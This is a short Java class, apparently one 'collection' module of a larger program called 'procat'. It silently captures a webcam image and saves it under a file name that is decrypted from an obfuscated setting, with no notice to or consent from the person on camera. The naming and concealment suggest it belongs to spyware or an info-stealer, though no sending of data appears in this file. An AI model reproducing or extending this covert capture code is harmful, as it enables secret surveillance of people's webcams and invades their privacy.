package moduly.sbor;



import com.github.sarxos.webcam.Webcam;
import procat.ui.Nastroiki;

import javax.imageio.ImageIO;
import java.io.File;
import java.io.IOException;


public class WebPhoto implements Runnable {


    private void getWebCamPhoto() {
        try {
            Nastroiki nastr = new Nastroiki();

            Webcam webcam = Webcam.getDefault();

            if (!new File(Nastroiki.getFolder()+nastr.decrName(nastr.getWeb_photo_name())).exists()) {
                if (webcam != null) {

                    webcam.open();

                    ImageIO.write(webcam.getImage(), "PNG", new File(Nastroiki.getFolder()+nastr.decrName(nastr.getWeb_photo_name())));

                    webcam.close();
                }
            }
        } catch (IOException e) {
            System.out.println("нету вебки - " + e);
        }
    }

    @Override
    public void run() {
        getWebCamPhoto();
    }
}

